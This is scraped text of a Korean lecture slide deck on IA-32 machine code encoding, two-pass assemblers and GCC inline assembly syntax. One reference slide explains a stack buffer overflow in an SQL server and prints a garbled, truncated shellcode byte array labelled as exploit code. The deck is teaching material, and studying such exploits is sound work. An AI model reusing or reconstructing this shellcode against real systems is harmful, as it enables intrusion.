25 Machine Code 4 IA32 machine code format

  • Slides: 19
Download presentation

어셈블러 기능 (2/5) Machine Code ü 4 , IA-32 machine code format Mod 00

어셈블러 기능 (2/5) Machine Code ü 4 , IA-32 machine code format Mod 00 : mem. 01 : mem. +dis(8) 10 : mem. +dis(32) 11 : reg. R/M or I/B register Scale 00 : *1 01 : *2 10 : *4 11 : *3 Seungjae Baek

어셈블러 기능 (3/5) 5 Machine Code (cont’) ü opcode for MOV instruction Seungjae Baek

어셈블러 기능 (3/5) 5 Machine Code (cont’) ü opcode for MOV instruction Seungjae Baek

어셈블러 기능 (4/5) 6 Machine Code (cont’) ü machine code example opcode mem. operand:

어셈블러 기능 (4/5) 6 Machine Code (cont’) ü machine code example opcode mem. operand: Little Endian immediate Mod. R/M: 11001010 Mod 00 : mem. 01 : mem. +dis(8) 10 : mem. +dis(32) 11 : reg. R/M or I/B number Seungjae Baek

어셈블러 기능 (5/5) 7 Machine Code (cont’) ü machine code example Mod 00 :

어셈블러 기능 (5/5) 7 Machine Code (cont’) ü machine code example Mod 00 : mem. 01 : mem. +dis(8) 10 : mem. +dis(32) 11 : reg. R/M or I/B number Mod. R/M: 01001000 displacement Prefix: 0 x 66 operand size override SIB: 10011000 Seungjae Baek

어셈블러 구조 (1/2) 8 어셈블러(Assembler) 구조 movl 0 x 4(%eax), %ecx opcode: 8 b

어셈블러 구조 (1/2) 8 어셈블러(Assembler) 구조 movl 0 x 4(%eax), %ecx opcode: 8 b mod R/M : 01 000 disp. : 0 x 4 8 b 48 04 Seungjae Baek

어셈블러 구조 (2/2) 9 2 pass 어셈블러(Assembler) Instruction Database 결국 assembler 구현이란. . (parser

어셈블러 구조 (2/2) 9 2 pass 어셈블러(Assembler) Instruction Database 결국 assembler 구현이란. . (parser 작성, DB 검색, symbol table 관리, code generator, error handing, . . ) Seungjae Baek

inline Assembly (1/6) 10 inline Assembly ü 고급 언어에 포함되어 사용되는 어셈블리 언어 ü

inline Assembly (1/6) 10 inline Assembly ü 고급 언어에 포함되어 사용되는 어셈블리 언어 ü 구조 § __asm__(assembly statement : output : input : modified register) § 각 항목은 : 으로 구분 § output, input, modified register는 optional § § assembly statement: “” 사용, 레지스터 이름 앞에 %를 추가 output: “=g”(variable name) input: “g”(variable name) modified register (clobber): inline assembly에서 수정하는 내용을 컴파 일러에게 알림 (inline assembly의 side effect 방지) § output, input은 %0, %1, %2, … 등의 이름으로 접근 Seungjae Baek

inline Assembly (2/6) 11 inline Assembly example assembly statements output input/output 전달 방식 a

inline Assembly (2/6) 11 inline Assembly example assembly statements output input/output 전달 방식 a eax b ebx c ecx d edx S esi D edi q 범용 레지스터 r 범용, esi, edi m 메모리 g 범용, esi, edi, 메모리 A edx와 eax 결합(64 bits) f FP용 레지스터 i immediate 0 first parameter … Seungjae Baek

inline Assembly (3/6) 12 inline Assembly example: 레지스터로 input Seungjae Baek

inline Assembly (3/6) 12 inline Assembly example: 레지스터로 input Seungjae Baek

inline Assembly (4/6) 13 inline Assembly example: clobber Input이나 Output으로 사용되지 는 않았지만, inline

inline Assembly (4/6) 13 inline Assembly example: clobber Input이나 Output으로 사용되지 는 않았지만, inline assembly 내 부에서 register를 사용할 때 명시 Seungjae Baek

inline Assembly (5/6) 14 inline Assembly example: stack again Seungjae Baek

inline Assembly (5/6) 14 inline Assembly example: stack again Seungjae Baek

inline Assembly (6/6) 15 inline Assembly example: define compiler가 프로그램의 위 치를 변경하지 못하게

inline Assembly (6/6) 15 inline Assembly example: define compiler가 프로그램의 위 치를 변경하지 못하게 함 Seungjae Baek

참고 자료 (2/3) 18 SQL Exploit code 동작 원리 ü ü ü SQL 내부

참고 자료 (2/3) 18 SQL Exploit code 동작 원리 ü ü ü SQL 내부 함수에서 요청을 스택에 복사함 요청이 함수에서 할당한 공간보다 클 경우 스택 파괴(buffer overflow) exploit code 수행하도록 스택의 return address 부분 수정 push %ebp mov %esp, %ebp char exploit_code[]= "x 55x 8 Bx. ECx 68x 10x. AEx 42x 68x 1 C" "x 10x. AEx 42x. EBx 03x 5 Bx. EBx 05x. E 8x. F 8" "x. FFx. BEx. FFx 81x. F 6" "x. AEx. FFx 03x. DEx 90x 90" "x 90x 33x. C 9x. B 1x 44x. B 2x 58x 30x 13x 83" "x. EBx 01x. E 2x. F 9x 43x 53x 8 Bx 75x. FCx. FF" "x 16x 50x 33x. C 0x. B 0x 0 Cx 03x. D 8x 53x. FF" "x 16x 50x 33x. C 0x. B 0x 10x 03x. D 8x 53x 8 B“ … "x. FFx. D 0x 90x 2 Fx 2 Bx 6 Ax 07x 6 Bx 6 Ax 76" "x 3 Cx 34x 58x 33x 3 Dx 2 Ax 36x 3 D" "x 34x 6 Bx 6 Ax 76x 3 Cx 34x 58x 58" "x 58x 0 Fx 0 Bx 19x 0 Bx 37x 3 Bx 33x 3 Dx 2 C" "x 19x 58x 3 Bx 37x 36x 3 Dx 3 Bx 2 C" "x 58x 1 Bx 2 Ax 3 Dx 39x 2 Cx 3 Dx 08x 2 Ax 37" "x 3 Bx 3 Dx 2 Bx 19x 58x 3 Bx 35x 3 C" "x 58"; pop %eax push immediate jmp 0 x 03 Seungjae Baek

참고 자료 (3/3) 19 Buffer overflow 예 Seungjae Baek

참고 자료 (3/3) 19 Buffer overflow 예 Seungjae Baek